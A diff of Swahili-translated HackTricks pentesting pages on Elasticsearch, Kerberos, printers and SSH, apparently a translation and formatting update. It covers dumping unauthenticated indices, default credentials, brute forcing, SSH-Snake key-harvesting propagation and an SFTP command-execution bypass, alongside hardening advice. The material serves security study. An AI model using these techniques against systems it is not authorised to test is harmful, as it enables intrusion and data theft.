{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,12 +2,14 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Taarifa za Msingi
|
||||
|
||||
Bandari hii inatumika na **Redshift** kuendesha. Kimsingi ni toleo la AWS la **PostgreSQL**.
|
||||
|
||||
Kwa maelezo zaidi angalia:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# Taarifa za Msingi
|
||||
|
||||
Kutoka [hapa](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Uchapishaji wa raw ni kile tunachofafanua kama mchakato wa kuunganisha na bandari 9100/tcp ya printer ya mtandao. Ni njia ya kawaida inayotumiwa na CUPS na usanifu wa uchapishaji wa Windows kuwasiliana na printers za mtandao kwani inachukuliwa kama ‘_njia rahisi, ya haraka, na kwa ujumla itifaki ya mtandao inayotumika kwa printers_’. Uchapishaji wa bandari 9100 wa raw, pia unajulikana kama JetDirect, AppSocket au PDL-datastream kwa kweli **si itifaki ya uchapishaji yenyewe**. Badala yake **data zote zinazotumwa zinachakatwa moja kwa moja na kifaa cha uchapishaji**, kama vile muunganisho wa sambamba kupitia TCP. Kinyume na LPD, IPP na SMB, hii inaweza kutuma mrejesho wa moja kwa moja kwa mteja, ikiwa ni pamoja na hali na ujumbe wa makosa. **Kanal ya pande mbili** kama hii inatupa **ufikiaji** wa moja kwa moja kwa **matokeo** ya **PJL**, **PostScript** au **PCL** amri. Hivyo basi, uchapishaji wa bandari 9100 wa raw – ambao unasaidiwa na karibu printer yoyote ya mtandao – unatumika kama njia ya uchambuzi wa usalama na PRET na PFT.
|
||||
Kutoka [hapa](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Uchapishaji wa raw ni kile tunachofafanua kama mchakato wa kuunganisha kwenye bandari 9100/tcp ya printer ya mtandao. Ni njia ya kawaida inayotumiwa na CUPS na usanifu wa uchapishaji wa Windows kuwasiliana na printers za mtandao kwani inachukuliwa kama ‘_njia rahisi, ya haraka, na kwa ujumla itifaki ya mtandao inayotumika kwa printers_’. Uchapishaji wa bandari 9100 wa raw, pia unajulikana kama JetDirect, AppSocket au PDL-datastream kwa kweli **si itifaki ya uchapishaji yenyewe**. Badala yake **data zote zinazotumwa zinachakatwa moja kwa moja na kifaa cha uchapishaji**, kama vile muunganisho wa sambamba kupitia TCP. Kinyume na LPD, IPP na SMB, hii inaweza kutuma mrejesho wa moja kwa moja kwa mteja, ikiwa ni pamoja na hali na ujumbe wa makosa. **Kanal ya pande mbili** inatupa **ufikiaji** wa moja kwa moja kwa **matokeo** ya **PJL**, **PostScript** au **PCL** amri. Kwa hivyo uchapishaji wa bandari 9100 wa raw – ambao unasaidiwa na karibu printer yoyote ya mtandao – unatumika kama njia ya uchambuzi wa usalama na PRET na PFT.
|
||||
|
||||
Ikiwa unataka kujifunza zaidi kuhusu [**kuvamia printers soma ukurasa huu**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
@ -44,11 +44,13 @@ msf> use auxiliary/scanner/printer/printer_download_file
|
||||
msf> use auxiliary/scanner/printer/printer_upload_file
|
||||
msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
```
|
||||
## Zana za Kuhack Printer
|
||||
## Zana ya Kuhack Printer
|
||||
|
||||
Hii ndiyo zana unayotaka kutumia kuharibu printer:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Basic information
|
||||
|
||||
Elasticsearch ni **distributed**, **open source** injini ya kutafuta na uchambuzi kwa **aina zote za data**. Inajulikana kwa **speed**, **scalability**, na **simple REST APIs**. Imejengwa juu ya Apache Lucene, ilitolewa kwa mara ya kwanza mwaka 2010 na Elasticsearch N.V. (sasa inajulikana kama Elastic). Elasticsearch ni sehemu kuu ya Elastic Stack, mkusanyiko wa zana za open source kwa ajili ya upokeaji wa data, uboreshaji, uhifadhi, uchambuzi, na uonyeshaji. Stack hii, inayojulikana kwa kawaida kama ELK Stack, pia inajumuisha Logstash na Kibana, na sasa ina wakala wa usafirishaji wa data wa mwanga unaoitwa Beats.
|
||||
Elasticsearch ni **distributed**, **open source** injini ya kutafuta na uchambuzi kwa **aina zote za data**. Inajulikana kwa **speed**, **scalability**, na **simple REST APIs**. Imejengwa juu ya Apache Lucene, ilitolewa kwa mara ya kwanza mwaka 2010 na Elasticsearch N.V. (sasa inajulikana kama Elastic). Elasticsearch ni sehemu kuu ya Elastic Stack, mkusanyiko wa zana za open source kwa ajili ya upokeaji wa data, uboreshaji, uhifadhi, uchambuzi, na uonyeshaji. Stack hii, ambayo mara nyingi inajulikana kama ELK Stack, pia inajumuisha Logstash na Kibana, na sasa ina wakala wa usafirishaji wa data wa mwanga wanaoitwa Beats.
|
||||
|
||||
### What is an Elasticsearch index?
|
||||
|
||||
**Index** ya Elasticsearch ni mkusanyiko wa **nyaraka zinazohusiana** zilizohifadhiwa kama **JSON**. Kila hati ina **funguo** na **thamani** zao zinazolingana (nyuzi, nambari, booleans, tarehe, arrays, geolocations, nk).
|
||||
**Index** ya Elasticsearch ni mkusanyiko wa **nyaraka zinazohusiana** zilizohifadhiwa kama **JSON**. Kila hati ina **funguo** na **thamani** zao zinazolingana (nyuzi, nambari, booleans, tarehe, orodha, maeneo ya kijiografia, nk.).
|
||||
|
||||
Elasticsearch inatumia muundo wa data mzuri unaoitwa **inverted index** ili kuwezesha utafutaji wa haraka wa maandiko yote. Index hii inataja kila neno la kipekee katika nyaraka na kutambua nyaraka ambazo kila neno linaonekana.
|
||||
|
||||
Wakati wa mchakato wa indexing, Elasticsearch inahifadhi nyaraka na kujenga inverted index, ikiruhusu utafutaji wa karibu wakati halisi. **Index API** inatumika kuongeza au kuboresha nyaraka za JSON ndani ya index maalum.
|
||||
Wakati wa mchakato wa kuunda index, Elasticsearch inahifadhi nyaraka na kujenga index iliyo kinyume, ikiruhusu utafutaji wa karibu wakati halisi. **Index API** inatumika kuongeza au kuboresha nyaraka za JSON ndani ya index maalum.
|
||||
|
||||
**Default port**: 9200/tcp
|
||||
|
||||
@ -24,11 +24,11 @@ Protokali inayotumika kufikia Elasticsearch ni **HTTP**. Unapofikia kupitia HTTP
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa huoni jibu hilo ukifikia `/` angalia sehemu ifuatayo.
|
||||
Ikiwa huoni jibu hilo unapofikia `/` angalia sehemu ifuatayo.
|
||||
|
||||
### Authentication
|
||||
|
||||
**Kwa default Elasticsearch haina uthibitisho ulioanzishwa**, hivyo kwa default unaweza kufikia kila kitu ndani ya database bila kutumia akidi yoyote.
|
||||
**Kwa default Elasticsearch haina uthibitisho ulioanzishwa**, hivyo kwa default unaweza kufikia kila kitu ndani ya database bila kutumia akidi zozote.
|
||||
|
||||
Unaweza kuthibitisha kuwa uthibitisho umezimwa kwa ombi la:
|
||||
```bash
|
||||
@ -39,8 +39,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Hii itamaanisha kwamba uthibitishaji umewekwa na **unahitaji akauti halali** kupata taarifa yoyote kutoka kwa elasticsearch. Kisha, unaweza [**kujaribu kuibua nguvu**](../generic-hacking/brute-force.md#elasticsearch) (inatumia HTTP basic auth, hivyo chochote kinachoweza kuibua nguvu HTTP basic auth kinaweza kutumika).\
|
||||
Hapa una **orodha ya majina ya watumiaji ya kawaida**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Matoleo ya zamani ya Elasticsearch yana nenosiri la kawaida **changeme** kwa ajili ya mtumiaji huyu.
|
||||
Hii itamaanisha kwamba uthibitishaji umewekwa na **unahitaji akidi halali** kupata taarifa yoyote kutoka kwa elasticsearch. Kisha, unaweza [**kujaribu kuibua nguvu**](../generic-hacking/brute-force.md#elasticsearch) (inatumia HTTP basic auth, hivyo chochote kinachoweza BF HTTP basic auth kinaweza kutumika).\
|
||||
Hapa una **orodha ya majina ya watumiaji ya kawaida**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Matoleo ya zamani ya Elasticsearch yana nenosiri la kawaida **changeme** kwa mtumiaji huyu.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
@ -86,7 +86,7 @@ Hapa kuna baadhi ya endpoints ambazo unaweza **kupata kupitia GET** ili **kupata
|
||||
| /\_cat/nodeattrs | | |
|
||||
| /\_cat/nodes | | |
|
||||
|
||||
Endpoints hizi zilichukuliwa [**kutoka kwenye nyaraka**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ambapo unaweza **kupata zaidi**.\
|
||||
Hizi endpoints zilichukuliwa [**kutoka kwenye nyaraka**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ambapo unaweza **kupata zaidi**.\
|
||||
Pia, ukipata `/_cat` jibu litakuwa na `/_cat/*` endpoints zinazoungwa mkono na mfano.
|
||||
|
||||
Katika `/_security/user` (ikiwa uthibitishaji umewezeshwa) unaweza kuona ni nani mtumiaji mwenye jukumu `superuser`.
|
||||
@ -114,7 +114,7 @@ _Chukua muda kulinganisha maudhui ya kila hati (entry) ndani ya index ya benki n
|
||||
|
||||
Hivyo, katika hatua hii unaweza kugundua kuwa **kuna uwanja unaoitwa "total" ndani ya "hits"** unaoashiria kuwa **hati 1000 zilipatikana** ndani ya index hii lakini ni 10 tu zilizorejeshwa. Hii ni kwa sababu **kwa kawaida kuna kikomo cha hati 10**.\
|
||||
Lakini, sasa unajua kuwa **index hii ina hati 1000**, unaweza **kutoa zote** ukionyesha idadi ya entries unayotaka kutoa katika **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Kumbuka: Ikiwa utaonyesha nambari kubwa zaidi, entries zote zitatolewa kwa njia yoyote, kwa mfano unaweza kuonyesha `size=9999` na itakuwa ya ajabu ikiwa kulikuwa na entries zaidi (lakini unapaswa kuangalia)._
|
||||
\&#xNAN;_Kumbuka: Ikiwa utaonyesha nambari kubwa zaidi, entries zote zitatolewa kwa njia yoyote, kwa mfano unaweza kuonyesha `size=9999` na itakuwa ya ajabu ikiwa kuna entries zaidi (lakini unapaswa kuangalia)._
|
||||
|
||||
### Dump all
|
||||
|
||||
@ -123,7 +123,7 @@ Kumbuka kwamba katika kesi hii **kikomo cha kawaida cha 10** matokeo kitatumika.
|
||||
|
||||
### Search
|
||||
|
||||
Ikiwa unatafuta habari fulani unaweza kufanya **utafutaji wa moja kwa moja kwenye indices zote** ukielekea `http://host:9200/_search?pretty=true&q=<search_term>` kama katika `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
Ikiwa unatafuta habari fulani unaweza kufanya **utafutaji wa moja kwa moja kwenye indices zote** ukitembelea `http://host:9200/_search?pretty=true&q=<search_term>` kama katika `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -155,17 +155,18 @@ Na kumbuka **sifa zilizoundwa kiotomatiki**:
|
||||
|
||||
.png>)
|
||||
|
||||
## Uainishaji wa Kiotomatiki
|
||||
## Uhesabuji wa Kiotomatiki
|
||||
|
||||
Zana zingine zitapata baadhi ya data zilizowasilishwa hapo awali:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,9 @@
|
||||
|
||||
# **Nywila za Kawaida**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Faili za Mipangilio
|
||||
```text
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
Katika mazingira kama **Active Directory**, **Kerberos** ni muhimu katika kuanzisha utambulisho wa watumiaji kwa kuthibitisha nywila zao za siri. Mchakato huu unahakikisha kwamba utambulisho wa kila mtumiaji unathibitishwa kabla ya kuingiliana na rasilimali za mtandao. Hata hivyo, **Kerberos** haipanui kazi zake kutathmini au kutekeleza ruhusa ambazo mtumiaji anazo juu ya rasilimali au huduma maalum. Badala yake, inatoa njia salama ya kuthibitisha watumiaji, ambayo ni hatua muhimu ya kwanza katika mchakato wa usalama.
|
||||
|
||||
Baada ya uthibitisho na **Kerberos**, mchakato wa kufanya maamuzi kuhusu ufikiaji wa rasilimali unakabidhiwa kwa huduma binafsi ndani ya mtandao. Huduma hizi zinawajibika kutathmini haki na ruhusa za mtumiaji aliyethibitishwa, kulingana na taarifa iliyotolewa na **Kerberos** kuhusu haki za mtumiaji. Muundo huu unaruhusu kutenganisha masuala kati ya kuthibitisha utambulisho wa watumiaji na kusimamia haki zao za ufikiaji, na kuwezesha njia inayoweza kubadilika na salama ya usimamizi wa rasilimali katika mitandao iliyosambazwa.
|
||||
Baada ya uthibitisho na **Kerberos**, mchakato wa kufanya maamuzi kuhusu ufikiaji wa rasilimali unakabidhiwa kwa huduma binafsi ndani ya mtandao. Huduma hizi zinawajibika kutathmini haki na ruhusa za mtumiaji aliyethibitishwa, kulingana na taarifa iliyotolewa na **Kerberos** kuhusu haki za mtumiaji. Muundo huu unaruhusu kutenganisha masuala kati ya kuthibitisha utambulisho wa watumiaji na kusimamia haki zao za ufikiaji, na kuwezesha njia yenye kubadilika na salama ya usimamizi wa rasilimali katika mitandao iliyosambazwa.
|
||||
|
||||
**Default Port:** 88/tcp/udp
|
||||
```
|
||||
@ -25,11 +25,13 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai vibaya mamlaka ya juu, kama vile kuwa Admin wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Kituo cha Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
|
||||
Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai kwa uwongo mamlaka ya juu, kama vile kuwa Msimamizi wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Msimamizi wa Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Mizaha mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
Mizengwe mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## HackTricks Amri za Otomatiki
|
||||
```
|
||||
|
@ -2,28 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
**SSH (Secure Shell au Secure Socket Shell)** ni protokali ya mtandao inayowezesha muunganisho salama kwa kompyuta kupitia mtandao usio salama. Ni muhimu kwa kudumisha usiri na uadilifu wa data unapofikia mifumo ya mbali.
|
||||
|
||||
**Default port:** 22
|
||||
**Port ya kawaida:** 22
|
||||
```
|
||||
22/tcp open ssh syn-ack
|
||||
```
|
||||
**SSH servers:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, iliyopelekwa katika BSD, usambazaji wa Linux na Windows tangu Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – utekelezaji wa SSH kwa mazingira yenye rasilimali chache za kumbukumbu na processor, iliyopelekwa katika OpenWrt
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, iliyotolewa katika BSD, usambazaji wa Linux na Windows tangu Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – utekelezaji wa SSH kwa mazingira yenye kumbukumbu na rasilimali za processor za chini, iliyotolewa katika OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – utekelezaji wa SSH kwa Windows, mteja hutumiwa mara nyingi lakini matumizi ya seva ni nadra
|
||||
- [CopSSH](https://www.itefix.net/copssh) – utekelezaji wa OpenSSH kwa Windows
|
||||
|
||||
**SSH libraries (implementing server-side):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – maktaba ya C ya majukwaa mengi inayotekeleza protokali ya SSHv2 ikiwa na viunganishi katika [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) na [R](https://github.com/ropensci/ssh); inatumika na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – maktaba ya seva ya SSHv2 iliyoandikwa kwa ANSI C na iliyolengwa kwa mazingira yaliyo na rasilimali chache, RTOS
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – maktaba ya java ya Apache SSHD inategemea Apache MINA
|
||||
- [libssh](https://www.libssh.org) – maktaba ya C ya majukwaa mengi inayotekeleza protokali ya SSHv2 yenye viambatisho katika [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) na [R](https://github.com/ropensci/ssh); inatumika na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – maktaba ya seva ya SSHv2 iliyoandikwa kwa ANSI C na iliyolengwa kwa mazingira yaliyo na vifaa vya ndani, RTOS, na rasilimali zilizopungukiwa
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – maktaba ya Apache SSHD ya java inategemea Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – maktaba ya protokali ya Python SSHv2
|
||||
|
||||
## Enumeration
|
||||
@ -42,8 +40,8 @@ ssh-audit ni chombo cha ukaguzi wa usanidi wa ssh server na mteja.
|
||||
|
||||
- Msaada wa protokali za SSH1 na SSH2;
|
||||
- changanua usanidi wa mteja wa SSH;
|
||||
- pata banner, tambua kifaa au programu na mfumo wa uendeshaji, gundua ufinyu;
|
||||
- kusanya funguo za kubadilishana, funguo za mwenyeji, algorithms za usimbaji na msimbo wa uthibitishaji wa ujumbe;
|
||||
- pata banner, tambua kifaa au programu na mfumo wa uendeshaji, gundua compression;
|
||||
- kusanya funguo za kubadilishana, funguo za mwenyeji, algorithms za encryption na code za uthibitishaji wa ujumbe;
|
||||
- toa taarifa za algorithm (zinapatikana tangu, zimetolewa/zimezimwa, zisizo salama/dhaifu/za zamani, nk);
|
||||
- toa mapendekezo ya algorithm (ongeza au ondoa kulingana na toleo la programu lililotambuliwa);
|
||||
- toa taarifa za usalama (masuala yanayohusiana, orodha ya CVE iliyotolewa, nk);
|
||||
@ -103,7 +101,7 @@ msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||
|
||||
Baadhi ya akidi za kawaida za ssh [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) na [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) na chini.
|
||||
Baadhi ya akreditivu za ssh za kawaida [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) na [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) na chini.
|
||||
|
||||
### Private Key Brute Force
|
||||
|
||||
@ -119,11 +117,13 @@ Au tumia `ssh-keybrute.py` (python3 asilia, nyepesi na ina algorithimu za zamani
|
||||
|
||||
#### Badkeys zinazojulikana zinaweza kupatikana hapa:
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Funguo dhaifu za SSH / PRNG inayoweza kutabirika ya Debian
|
||||
|
||||
Mifumo mingine ina kasoro zinazojulikana katika mbegu ya nasibu inayotumika kuzalisha vifaa vya cryptographic. Hii inaweza kusababisha kupungua kwa kiwango cha funguo ambacho kinaweza kufanywa kwa nguvu. Seti za funguo zilizozalishwa awali kwenye mifumo ya Debian iliyoathiriwa na PRNG dhaifu zinapatikana hapa: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Mifumo mingine ina kasoro zinazojulikana katika mbegu ya nasibu inayotumika kuunda vifaa vya cryptographic. Hii inaweza kusababisha kupungua kwa kiwango cha funguo ambacho kinaweza kufanywa kwa nguvu. Seti za funguo zilizoundwa awali kwenye mifumo ya Debian iliyoathiriwa na PRNG dhaifu zinapatikana hapa: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Unapaswa kutazama hapa ili kutafuta funguo halali za mashine ya mwathirika.
|
||||
|
||||
@ -163,7 +163,7 @@ Ikiwa uko kwenye mtandao wa ndani kama mwathirika ambaye atajiunga na seva ya SS
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) inafanya hasa kile kilichoelezwa hapo juu.
|
||||
|
||||
Ili kukamata kufanya MitM halisi unaweza kutumia mbinu kama ARP spoofing, DNS spoofing au nyingine zilizofafanuliwa katika [**Mashambulizi ya Spoofing ya Mtandao**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
Ili kukamata kufanya MitM halisi unaweza kutumia mbinu kama ARP spoofing, DNS spoofing au nyingine zilizoorodheshwa katika [**Mashambulizi ya Spoofing ya Mtandao**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
@ -173,7 +173,33 @@ SSH-Snake inatekeleza kazi zifuatazo kiotomatiki na kwa kurudiarudia:
|
||||
|
||||
1. Kwenye mfumo wa sasa, pata funguo zozote za kibinafsi za SSH,
|
||||
2. Kwenye mfumo wa sasa, pata mwenyeji au marudio yoyote (mtumiaji@host) ambayo funguo za kibinafsi zinaweza kukubaliwa,
|
||||
3. Jaribu kuungana na SSH kwenye marudio yote kwa kutumia funguo zote za kibinafsi zilizogund
|
||||
3. Jaribu kuungana na SSH kwenye marudio yote kwa kutumia funguo zote za kibinafsi zilizogunduliwa,
|
||||
4. Ikiwa marudio yameunganishwa kwa mafanikio, rudia hatua #1 - #4 kwenye mfumo uliounganishwa.
|
||||
|
||||
Ni ya kujirudia kabisa na kujiendeleza - na haina faili kabisa.
|
||||
|
||||
## Makosa ya Mipangilio
|
||||
|
||||
### Kuingia kwa Mzizi
|
||||
|
||||
Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji mzizi kwa default, ambayo inatoa hatari kubwa ya usalama. **Kuzima kuingia kwa mzizi** ni hatua muhimu katika kulinda seva. Upatikanaji usioidhinishwa na mamlaka ya usimamizi na mashambulizi ya nguvu yanaweza kupunguziliwa mbali kwa kufanya mabadiliko haya.
|
||||
|
||||
**Kuzima Kuingia kwa Mzizi katika OpenSSH:**
|
||||
|
||||
1. **Hariri faili ya mipangilio ya SSH** kwa: `sudoedit /etc/ssh/sshd_config`
|
||||
2. **Badilisha mipangilio** kutoka `#PermitRootLogin yes` hadi **`PermitRootLogin no`**.
|
||||
3. **Reload mipangilio** kwa kutumia: `sudo systemctl daemon-reload`
|
||||
4. **Restart seva ya SSH** ili kutekeleza mabadiliko: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||||
|
||||
### Utendaji wa Amri za SFTP
|
||||
|
||||
Kuna makosa ya kawaida yanayotokea na mipangilio ya SFTP, ambapo wasimamizi wanakusudia kwa watumiaji kubadilishana faili bila kuwezesha ufikiaji wa shell ya mbali. Licha ya kuweka watumiaji na shells zisizoingiliana (k.m., `/usr/bin/nologin`) na kuwafunga kwenye directory maalum, kuna pengo la usalama. **Watumiaji wanaweza kupita vizuizi hivi** kwa kuomba utendaji wa amri (kama `/bin/bash`) mara tu baada ya kuingia, kabla shell yao isiyoingiliana haijachukua. Hii inaruhusu utendaji wa amri zisizoidhinishwa, ikikandamiza hatua za usalama zilizokusudiwa.
|
||||
|
||||
[Mfano kutoka hapa](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
@ -206,11 +232,11 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Hii usanidi itaruhusu tu SFTP: kuzuia ufikiaji wa shell kwa kulazimisha amri ya kuanza na kuzuia ufikiaji wa TTY lakini pia kuzuia aina zote za upitishaji bandari au tunneling.
|
||||
Hii usanidi itaruhusu tu SFTP: kuzuia ufikiaji wa shell kwa kulazimisha amri ya kuanzisha na kuzuia ufikiaji wa TTY lakini pia kuzuia aina zote za upitishaji bandari au tunneling.
|
||||
|
||||
### SFTP Tunneling
|
||||
|
||||
Ikiwa una ufikiaji wa seva ya SFTP unaweza pia kupitisha trafiki yako kupitia hii kwa mfano ukitumia upitishaji wa bandari wa kawaida:
|
||||
Ikiwa una ufikiaji wa seva ya SFTP unaweza pia kupitisha trafiki yako kupitia hii kwa mfano ukitumia upitishaji bandari wa kawaida:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
@ -226,7 +252,7 @@ Ikiwa unaweza kufikia faili "_froot_" kupitia wavuti, utaweza kuorodhesha folda
|
||||
|
||||
### Njia za uthibitishaji
|
||||
|
||||
Katika mazingira ya usalama wa juu, ni kawaida kuwezesha uthibitishaji wa msingi wa funguo au uthibitishaji wa hatua mbili badala ya uthibitishaji wa msingi wa nenosiri rahisi. Lakini mara nyingi njia za uthibitishaji zenye nguvu zinawezeshwa bila kuzima zile dhaifu. Kesi ya kawaida ni kuwezesha `publickey` kwenye usanidi wa openSSH na kuipatia kama njia ya chaguo-msingi lakini bila kuzima `password`. Hivyo kwa kutumia hali ya verbose ya mteja wa SSH, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:
|
||||
Katika mazingira ya usalama wa juu, ni kawaida kuwezesha tu uthibitishaji wa msingi wa funguo au uthibitishaji wa hatua mbili badala ya uthibitishaji wa msingi wa nenosiri rahisi. Lakini mara nyingi njia za uthibitishaji zenye nguvu zinawezeshwa bila kuzima zile dhaifu. Kesi ya kawaida ni kuwezesha `publickey` kwenye usanidi wa openSSH na kuipatia kama njia ya default lakini bila kuzima `password`. Hivyo kwa kutumia hali ya verbose ya mteja wa SSH, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
@ -239,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
